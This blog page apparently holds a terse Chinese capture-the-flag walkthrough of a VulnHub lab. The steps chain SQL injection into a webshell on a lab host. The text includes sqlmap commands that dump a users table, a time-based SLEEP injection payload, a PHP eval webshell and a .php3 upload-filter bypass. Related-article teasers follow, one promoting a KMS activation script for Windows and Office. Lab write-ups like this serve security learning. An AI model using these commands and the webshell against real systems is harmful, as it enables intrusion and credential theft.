vulnhub靶场From SQL injection to Shell

vulnhub靶场From SQL injection to Shell

发布时间：2026/6/26 6:42:52

vulnhub靶场From SQL injection to Shell
一、概括通过基础潘顿和推测网页存在sql注入漏洞验证存在漏洞利用sql注入获得数据库中敏感数据登录到网页管理员页面发现存在文件上传漏洞利用文件上传漏洞获取服务器的信息二、通关过程nmap获得靶机访问地址通过靶机的mac地址和探测结果得出靶机IP地址浏览器访问地址首页没有发现什么明显内容访问其它网页发现存在特殊参数id五i测存在sql漏洞这里还发现了登录页面sqlmap探测漏洞sqlmap-uhttp://192.168.8.155/cat.php?id1--batch验真是否存在id2AND(SELECT5851FROM(SELECT(SLEEP(5)))nqWc)页面存在明显的延迟那就是探测无误存在sql注入获取数据sqlmap -u http://192.168.8.155/cat.php?id1 -D photoblog -T users --dump获得用户名密码登录后台查看信息页面存在文件上传推测存在漏洞创建一个文件试试看写入?php eval($_POST[cmd]);?直接上传发现提示无法上传php文件那试试php3等文件后缀通过访问本页面的其它图片判断图片存放位置蚁剑连接测试连接成功访问其它文件即可

相关新闻

并查集的典型应用：统计省份数量

并查集的典型应用：统计省份数量

题目来源：https://leetcode.com/problems/number-of-provinces/description/ 有 n 个城市，其中一些彼此直接相连，另一些则没有直接相连。如果城市 a 与城市 b 直接相连，且城市 b 与城市 c 直接相连，那么城市 a 与城市 …

2026/6/26 6:42:52阅读更多 →
苏州吴中区少儿机器人编程暑期班选哪家更靠谱？

苏州吴中区少儿机器人编程暑期班选哪家更靠谱？

苏州吴中区家长选少儿机器人编程暑期班？咋选才不踩坑？ 暑假马上到了，苏州吴中区不少家长都在琢磨给娃报兴趣班，很多人瞄准了少儿机器人编程，既想让娃趁假期学点有用的技能，又怕踩坑选到不靠谱的机构&#x…

2026/6/26 6:42:52阅读更多 →
得理法律AI开放平台「类案检索报告skill」操作演示

得理法律AI开放平台「类案检索报告skill」操作演示

类案检索是律师最高频、最耗时的基础工作之一。得理开放平台推出的“类案检索报告”技能，通过深度语义理解与标准结构化报告生成，将这项工作从数小时压缩至几分钟。01背景与能力概述：从痛点解法到核心能力类案检索是律师最高频、最耗时的基础…

2026/6/26 6:42:52阅读更多 →
低成本MMX多材料3D打印换色方案设计与优化

低成本MMX多材料3D打印换色方案设计与优化

1. MMX换色机构概述与核心优势 MMX（Multi-Material Extruder）是一种基于舵机切换的3D打印多材料换色方案。相比市面上主流的兔子换色系统，这套方案最大的特点就是结构简单、成本低廉。我自己组装下来总成本控制在150元左右，如果用…

2026/6/26 14:46:31阅读更多 →
3分钟完成Windows与Office永久激活：KMS_VL_ALL_AIO智能激活指南

3分钟完成Windows与Office永久激活：KMS_VL_ALL_AIO智能激活指南

3分钟完成Windows与Office永久激活：KMS_VL_ALL_AIO智能激活指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows和Office的激活弹窗烦恼吗？KMS_VL_ALL_AIO智…

2026/6/26 14:46:31阅读更多 →
生物质锅炉在制药企业中的应用与环境影响分析

生物质锅炉在制药企业中的应用与环境影响分析

2026年4月，辽源市生态环境局东辽县分局出具了吉林省鑫辉药业有限公司生物质锅炉建设项目的环评批复文件。该项目为制药企业能源基础设施升级提供了典型案例。吉林鑫辉药业一、项目概况该项目为扩建项目，建设地点位于东辽县渭津镇尚义村。主要建设内容包括…

2026/6/26 14:46:31阅读更多 →
【稀缺首发】VMware官方未公开的OVF导出隐藏参数大全：--skipManifest、--noSSLVerify等8个高危但高效的调试开关

【稀缺首发】VMware官方未公开的OVF导出隐藏参数大全：--skipManifest、--noSSLVerify等8个高危但高效的调试开关

更多请点击： https://intelliparadigm.com 第一章：OVF导出隐藏参数的发现背景与风险认知 OVF（Open Virtualization Format）作为虚拟机标准化分发格式，被广泛应用于vSphere、VirtualBox、OVirt等主流平台。然而&#x…

2026/6/26 14:46:31阅读更多 →
从vSphere到开源替代：一位CTO亲历的6个月迁移实战（含Kubernetes+OpenZiti平滑过渡路径）

从vSphere到开源替代：一位CTO亲历的6个月迁移实战（含Kubernetes+OpenZiti平滑过渡路径）

更多请点击： https://kaifayun.com 第一章：VMware博通收购后的战略转向与生态剧变 博通于2023年11月完成对VMware的收购，标志着企业虚拟化领域进入以“精简、集成、订阅优先”为内核的新周期。此次整合并非简单品牌延续，而是系统…

2026/6/26 14:46:31阅读更多 →
ExifToolGUI：免费开源图片元数据批量编辑终极指南

ExifToolGUI：免费开源图片元数据批量编辑终极指南

ExifToolGUI：免费开源图片元数据批量编辑终极指南 【免费下载链接】ExifToolGui A GUI for ExifTool 项目地址: https://gitcode.com/gh_mirrors/ex/ExifToolGui 你是否曾面对数百张照片的拍摄时间混乱而束手无策？是否需要在大量图片中批量添加版…

2026/6/26 14:41:30阅读更多 →
【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体 一文搞定到底什么是智能体【人工智能】一文搞定到底什么是智能体一. LM，WorkFlow，Agent分别有什么么不同二. Agent的思考过程是怎样的三. Agent的五个核心部分1）LLM2）Prompt3）Me…

2026/6/26 11:03:22阅读更多 →
嵌入式GUI控件实战：ROTARY、SCROLLBAR、SLIDER原理与应用

嵌入式GUI控件实战：ROTARY、SCROLLBAR、SLIDER原理与应用

1. 嵌入式GUI控件：从原理到实战的深度解析在嵌入式系统开发中，图形用户界面（GUI）的设计与实现往往是项目从“能用”到“好用”的关键一跃。不同于资源充沛的PC或移动平台，嵌入式设备的GUI需要在有限的CPU性能、内存空间…

2026/6/26 4:15:25阅读更多 →
Google AI Studio 300美元额度的真相与实战指南

Google AI Studio 300美元额度的真相与实战指南

1. 这300美金不是“送钱”，而是Google埋下的第一道技术门槛 你看到标题里那个醒目的“$300美金”时，第一反应可能是：又一个免费额度？领完就完事？我亲手试过——这300美金根本不是红包，而是一张入场券&…

2026/6/26 9:29:01阅读更多 →
HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

一、前言：企业运维痛点与资源价值自博通收购 VMware 之后，原 VMware 公开免费下载渠道全面关闭，企业运维人员想要获取适配 HPE 慧与服务器的 ESXi 9 原厂镜像，必须注册博通账号、绑定有效授权才能下载，无授权账号无法获…

2026/6/26 0:02:15阅读更多 →
Kotlin的@JvmStatic与@JvmField：与Java互操作的注解

Kotlin的@JvmStatic与@JvmField：与Java互操作的注解

Kotlin作为一门现代编程语言，与Java的互操作性一直是其核心优势之一。为了让Kotlin代码能够无缝对接Java，Kotlin提供了多种注解来优化互操作体验，其中JvmStatic和JvmField是两个关键注解。它们分别用于解决静态成员和字段在Java中的访问问题&…

2026/6/26 0:02:15阅读更多 →
深入解析musl libc中的mmap实现源码

深入解析musl libc中的mmap实现源码

最近在阅读musl libc源码时，发现其mmap的实现非常精妙，特分享给大家。 一、代码整体结构 这段代码实现了__mmap函数，并通过weak_alias导出为mmap。这是典型的musl libc风格——提供弱符号以便用户可以重写。 weak_alias(__mmap, mmap); 二…

2026/6/26 0:02:15阅读更多 →